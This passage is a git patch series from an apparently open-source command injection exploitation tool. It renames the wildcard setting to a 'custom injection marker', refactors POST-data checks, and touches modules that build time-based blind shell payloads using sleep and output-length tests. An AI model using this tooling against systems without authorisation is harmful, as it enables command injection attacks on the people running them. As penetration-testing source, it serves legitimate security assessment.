settings.WILDCARD_CHAR_APPLIED = settings.HOST_INJECTION = True + if menu.options.cookie and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.cookie: + settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = True + elif menu.options.agent and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.agent: + settings.CUSTOM_INJECTION_MARKER = settings.USER_AGENT_INJECTION = True + elif menu.options.referer and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.referer: + settings.CUSTOM_INJECTION_MARKER = settings.REFERER_INJECTION = True + elif menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: + settings.CUSTOM_INJECTION_MARKER = settings.HOST_INJECTION = True elif settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: if settings.CUSTOM_HEADER_CHECK not in settings.TEST_PARAMETER: - settings.WILDCARD_CHAR_APPLIED = True + settings.CUSTOM_INJECTION_MARKER = True else: settings.CUSTOM_HEADER_INJECTION = True return False - if settings.WILDCARD_CHAR_APPLIED: + if settings.CUSTOM_INJECTION_MARKER: while True: - message = "Custom injection marker ('" + settings.WILDCARD_CHAR + "') found in " + option +". " + message = "Custom injection marker ('" + settings.CUSTOM_INJECTION_MARKER_CHAR + "') found in " + option +". " message += "Do you want to process it? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: @@ -397,7 +414,7 @@ def check_boundaries_value(parameter, value, http_request_method): return _ while True: message = "Do you want to inject the provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' inside boundaries?" - message += " ('" + str(value.replace(_ ,_ + settings.WILDCARD_CHAR)) + "') [Y/n] > " + message += " ('" + str(value.replace(_ ,_ + settings.CUSTOM_INJECTION_MARKER_CHAR)) + "') [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.INJECT_INSIDE_BOUNDARIES = True @@ -438,7 +455,7 @@ def PCRE_e_modifier(parameter, http_request_method): while True: message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" - message += parameter.split("=")[1].replace(settings.INJECT_TAG, settings.WILDCARD_CHAR) + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > " + message += parameter.split("=")[1].replace(settings.INJECT_TAG, settings.CUSTOM_INJECTION_MARKER_CHAR) + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > " modifier_check = common.read_input(message, default="Y", check_batch=True) if modifier_check in settings.CHOICE_YES: return original_parameter + settings.PCRE_MODIFIER[1:2] @@ -1108,23 +1125,6 @@ def enable_all_enumeration_options(): # Retrieve system users password hashes. menu.options.passwords = True -""" -Do check for injection marker. -""" -def wildcard_character(data): - if settings.WILDCARD_CHAR_APPLIED != None: - _ = [] - for data in data.split("\\n"): - if not data.startswith(settings.ACCEPT) and settings.WILDCARD_CHAR in data: - if menu.options.test_parameter != None and settings.WILDCARD_CHAR_APPLIED == False: - data = data.replace(settings.WILDCARD_CHAR, "") - elif settings.WILDCARD_CHAR_APPLIED: - data = data.replace(settings.WILDCARD_CHAR, settings.ASTERISK_MARKER) - _.append(data) - data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") - data = data.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) - return data - """ Check provided parameters for tests """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index aef80e6cee..05996d6799 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -667,13 +667,13 @@ def data_checks(url, http_request_method, filename, timesec): Perform HTTP Headers parameters checks """ def headers_checks(url, http_request_method, filename, timesec): - if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and not settings.WILDCARD_CHAR_APPLIED: - settings.COOKIE_INJECTION = True - + if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and not settings.CUSTOM_INJECTION_MARKER: + if menu.options.cookie: + settings.COOKIE_INJECTION = True if len([i for i in settings.TEST_PARAMETER if i in str(menu.options.cookie)]) != 0 or settings.COOKIE_INJECTION: cookie_injection(url, http_request_method, filename, timesec) - if menu.options.level > settings.COOKIE_INJECTION_LEVEL and not settings.WILDCARD_CHAR_APPLIED: + if menu.options.level > settings.COOKIE_INJECTION_LEVEL and not settings.CUSTOM_INJECTION_MARKER: settings.HTTP_HEADERS_INJECTION = True if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 or settings.HTTP_HEADERS_INJECTION or any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)): @@ -684,11 +684,11 @@ def headers_checks(url, http_request_method, filename, timesec): if len(settings.CUSTOM_HEADERS_NAMES) != 0: settings.CUSTOM_HEADER_INJECTION = True for _ in settings.CUSTOM_HEADERS_NAMES: - if settings.WILDCARD_CHAR in _.split(": ")[1] and not settings.WILDCARD_CHAR_APPLIED: + if settings.CUSTOM_INJECTION_MARKER_CHAR in _.split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER: settings.CUSTOM_HEADER_INJECTION = False else: settings.CUSTOM_HEADER_NAME = _.split(": ")[0] - settings.CUSTOM_HEADER_VALUE = _.split(": ")[1].replace(settings.WILDCARD_CHAR,"") + settings.CUSTOM_HEADER_VALUE = _.split(": ")[1].replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) @@ -728,12 +728,12 @@ def perform_checks(url, http_request_method, filename): if menu.options.shellshock: menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL else: - if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and settings.WILDCARD_CHAR_APPLIED != True: + if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and settings.CUSTOM_INJECTION_MARKER != True: menu.options.level = settings.USER_SUPPLIED_LEVEL check_for_stored_levels(url, http_request_method) _ = True - if not settings.WILDCARD_CHAR_APPLIED: + if not settings.CUSTOM_INJECTION_MARKER: data_checks(url, http_request_method, filename, timesec) _ = False headers_checks(url, http_request_method, filename, timesec) diff --git a/src/core/main.py b/src/core/main.py index 4b52e81ac6..eb577e6a85 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -155,7 +155,7 @@ def examine_request(request, url): print(settings.SINGLE_WHITESPACE) err_msg = "Use '--header=\"HEADER_NAME: HEADER_VALUE\"'" err_msg += "to provide an extra HTTP header or" - err_msg += " '--header=\"HEADER_NAME: " + settings.WILDCARD_CHAR + "\"' " + err_msg += " '--header=\"HEADER_NAME: " + settings.CUSTOM_INJECTION_MARKER_CHAR + "\"' " err_msg += "if you want to try to exploit the provided HTTP header." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -213,7 +213,7 @@ def init_request(url, http_request_method): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) - settings.WILDCARD_CHAR_APPLIED = checks.check_custom_injection_marker(url, http_request_method) + settings.CUSTOM_INJECTION_MARKER = checks.custom_injection_marker_character(url, http_request_method) # Check connection(s) checks.check_connection(url) return request @@ -329,8 +329,8 @@ def main(filename, url, http_request_method): if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True - if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or settings.STDIN_PARSING: - settings.WILDCARD_CHAR_APPLIED = False + if settings.CUSTOM_INJECTION_MARKER and settings.MULTI_TARGETS or settings.STDIN_PARSING: + settings.CUSTOM_INJECTION_MARKER = False # Define the level of tests to perform. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 09a1d86947..67b852ba78 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -349,11 +349,11 @@ def do_check(request): if settings.EXTRA_HTTP_HEADERS or settings.RAW_HTTP_HEADERS: if settings.RAW_HTTP_HEADERS: menu.options.headers = settings.RAW_HTTP_HEADERS - # Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided. + # Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided. if menu.options.headers: - extra_headers = checks.wildcard_character(menu.options.headers) + extra_headers = checks.process_custom_injection_data(menu.options.headers) elif menu.options.header: - extra_headers = checks.wildcard_character(menu.options.header) + extra_headers = checks.process_custom_injection_data(menu.options.header) extra_headers = extra_headers.replace(":",": ") if ": //" in extra_headers: @@ -400,7 +400,7 @@ def do_check(request): http_header_name + ": " + http_header_value not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and \ http_header_name + ": " + http_header_value not in settings.CUSTOM_HEADERS_NAMES: settings.CUSTOM_HEADERS_NAMES.append(http_header_name + ": " + http_header_value) - http_header_value = http_header_value.replace(settings.INJECT_TAG,"").replace(settings.WILDCARD_CHAR,"") + http_header_value = http_header_value.replace(settings.INJECT_TAG,"").replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") request.add_header(http_header_name, http_header_value) if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE, settings.CUSTOM_HEADER_NAME]: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 3ef25601c8..17033f5b09 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -48,13 +48,13 @@ def multi_params_get_value(parameter): return value if settings.USER_DEFINED_POST_DATA: - if settings.WILDCARD_CHAR in settings.USER_DEFINED_POST_DATA and not checks.process_non_custom(): + if settings.CUSTOM_INJECTION_MARKER_CHAR in settings.USER_DEFINED_POST_DATA and not checks.process_non_custom(): return False if settings.INJECT_TAG in url: settings.IGNORE_USER_DEFINED_POST_DATA = True - # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. - url = checks.wildcard_character(url) + # Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided. + url = checks.process_custom_injection_data(url) # Check for REST-ful URLs format. if "?" not in url: if settings.INJECT_TAG not in url and not menu.options.shellshock: @@ -186,10 +186,10 @@ def vuln_GET_param(url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] - if settings.WILDCARD_CHAR_APPLIED: + if settings.CUSTOM_INJECTION_MARKER: try: settings.TEST_PARAMETER = vuln_parameter - settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") @@ -273,8 +273,8 @@ def json_format(parameter): parameter = json.dumps(parameter) return parameter - # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. - parameter = checks.wildcard_character(parameter).replace("'","\"").replace(", ",",").replace(",\"", ", \"") + # Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided. + parameter = checks.process_custom_injection_data(parameter).replace("'","\"").replace(", ",",").replace(",\"", ", \"") # Check if JSON Object. if checks.is_JSON_check(parameter) or checks.is_JSON_check(checks.check_quotes_json_data(parameter)): if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): @@ -451,7 +451,7 @@ def vuln_POST_param(parameter, url): parameters = ''.join(parameters.split(", ")[-1:]).strip() parameters = ''.join(parameters.split(":")[0]).strip() settings.TESTABLE_VALUE = vuln_parameter = ''.join(parameters.split(settings.RANDOM_TAG)[:1]) - if settings.WILDCARD_CHAR_APPLIED: + if settings.CUSTOM_INJECTION_MARKER: settings.TEST_PARAMETER = vuln_parameter # XML data format. @@ -460,15 +460,15 @@ def vuln_POST_param(parameter, url): for item in parameters: if settings.INJECT_TAG in item: result = re.sub(re.compile('<.*?>'), '', item) - if not settings.WILDCARD_CHAR_APPLIED and settings.WILDCARD_CHAR in item: - item = item.replace(settings.WILDCARD_CHAR,"") + if not settings.CUSTOM_INJECTION_MARKER and settings.CUSTOM_INJECTION_MARKER_CHAR in item: + item = item.replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") _ = (re.search('<(.*)>' + result + '', item)) if (_.groups()[0]) == (_.groups()[1]): vuln_parameter = ''.join(_.groups()[0]) - if settings.WILDCARD_CHAR_APPLIED: + if settings.CUSTOM_INJECTION_MARKER: try: settings.TEST_PARAMETER = vuln_parameter - settings.POST_WILDCARD_CHAR = result.split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = result.split(settings.INJECT_TAG)[0] @@ -481,10 +481,10 @@ def vuln_POST_param(parameter, url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] - if settings.WILDCARD_CHAR_APPLIED: + if settings.CUSTOM_INJECTION_MARKER: try: settings.TEST_PARAMETER = vuln_parameter - settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") @@ -516,7 +516,7 @@ def prefixes(payload, prefix): # Check if defined "--prefix" option. testable_value = settings.TESTABLE_VALUE - if settings.WILDCARD_CHAR_APPLIED and len(settings.POST_WILDCARD_CHAR) != 0: + if settings.CUSTOM_INJECTION_MARKER and len(settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) != 0: testable_value = "" if menu.options.prefix: payload = testable_value + menu.options.prefix + prefix + payload @@ -552,8 +552,8 @@ def multi_params_get_value(parameter): value = ''.join(value) return value - # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. - cookie = checks.wildcard_character(cookie) + # Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided. + cookie = checks.process_custom_injection_data(cookie) try: multi_parameters = cookie.split(settings.COOKIE_DELIMITER) except ValueError as err_msg: @@ -647,10 +647,10 @@ def specify_cookie_parameter(cookie): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: inject_cookie = pairs[param].split("=")[0] - if settings.WILDCARD_CHAR_APPLIED: + if settings.CUSTOM_INJECTION_MARKER: try: settings.TEST_PARAMETER = inject_cookie - settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") diff --git a/src/utils/settings.py b/src/utils/settings.py index cae508cda0..cc19cd7604 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -365,15 +365,14 @@ class HEURISTIC_TEST(object): # User-defined stored POST data. USER_DEFINED_POST_DATA = "" - # Ignore user-defined stored POST data. IGNORE_USER_DEFINED_POST_DATA = False -# The wildcard character -WILDCARD_CHAR = "*" +# Custom injection marker +CUSTOM_INJECTION_MARKER_CHAR = "*" +CUSTOM_INJECTION_MARKER = False ASTERISK_MARKER = "__ASTERISK__" -WILDCARD_CHAR_APPLIED = False -POST_WILDCARD_CHAR = "" +PRE_CUSTOM_INJECTION_MARKER_CHAR = "" # Testable parameter(s) - comma separated. TEST_PARAMETER = "" From c9c0306778263834d89e69aeb7e2bd41efe77416 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 23 Apr 2024 07:18:01 +0300 Subject: [PATCH 427/560] Minor code refactoring --- .../blind/techniques/time_based/tb_handler.py | 2 +- .../blind/techniques/time_based/tb_injector.py | 8 ++++---- .../blind/techniques/time_based/tb_payloads.py | 14 +++++++------- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/controller.py | 12 ++++++------ .../techniques/classic/cb_handler.py | 2 +- .../techniques/classic/cb_injector.py | 8 ++++---- .../techniques/eval_based/eb_handler.py | 2 +- .../techniques/eval_based/eb_injector.py | 8 ++++---- .../techniques/file_based/fb_handler.py | 2 +- .../techniques/file_based/fb_injector.py | 8 ++++---- .../techniques/tempfile_based/tfb_handler.py | 2 +- .../techniques/tempfile_based/tfb_injector.py | 8 ++++---- .../techniques/tempfile_based/tfb_payloads.py | 16 ++++++++-------- src/core/requests/requests.py | 10 +++++----- src/utils/settings.py | 2 +- 16 files changed, 53 insertions(+), 53 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 46f193ebc2..5388687dd9 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -366,7 +366,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r header_name = "" the_type = " parameter" # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 6b7b9c75d4..e897fd20c1 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -46,12 +46,12 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, start = time.time() # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) @@ -96,14 +96,14 @@ def injection_test(payload, http_request_method, url): start = time.time() # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index b3d4ed0fe9..c866b1d341 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -128,7 +128,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "[ " + str(output_length) + " -eq ${str1} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -202,7 +202,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "[ " + str(output_length) + " -eq $str1 ]" + separator + "sleep " + str(timesec) ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -262,7 +262,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "[ " + str(output_length) + " -eq ${str1} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -339,7 +339,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "sleep " + str(timesec) ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -400,7 +400,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -468,7 +468,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "sleep " + str(timesec) ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -524,7 +524,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 8413f5512f..eb3c6407cf 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -76,7 +76,7 @@ def check_waf(url, http_request_method): else: payload = settings.PARAMETER_DELIMITER + payload url = url + payload - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) else: request = _urllib.request.Request(url, method=http_request_method) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 05996d6799..80930e687c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -96,7 +96,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: data = None @@ -104,8 +104,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: - data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + elif not settings.IGNORE_USER_DEFINED_POST_DATA and settings.USER_DEFINED_POST_DATA and settings.INJECT_TAG in settings.USER_DEFINED_POST_DATA: + data = settings.USER_DEFINED_POST_DATA.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.quote(payload)) @@ -158,7 +158,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: data = None @@ -166,8 +166,8 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: - data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + elif not settings.IGNORE_USER_DEFINED_POST_DATA and settings.USER_DEFINED_POST_DATA and settings.INJECT_TAG in settings.USER_DEFINED_POST_DATA: + data = settings.USER_DEFINED_POST_DATA.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.quote(payload)) diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 7df74bc83d..f20a5e13fc 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -243,7 +243,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ header_name = "" the_type = " parameter" # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 598a672c70..de6a02ac17 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -46,13 +46,13 @@ def injection_test(payload, http_request_method, url): # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: if settings.SINGLE_WHITESPACE in payload: payload = replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) @@ -200,13 +200,13 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else: # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index d611c78c5a..0a4d0836a9 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -255,7 +255,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: header_name = "" the_type = " parameter" - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index ae5bde5709..c34befafa3 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -40,14 +40,14 @@ def injection_test(payload, http_request_method, url): # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not 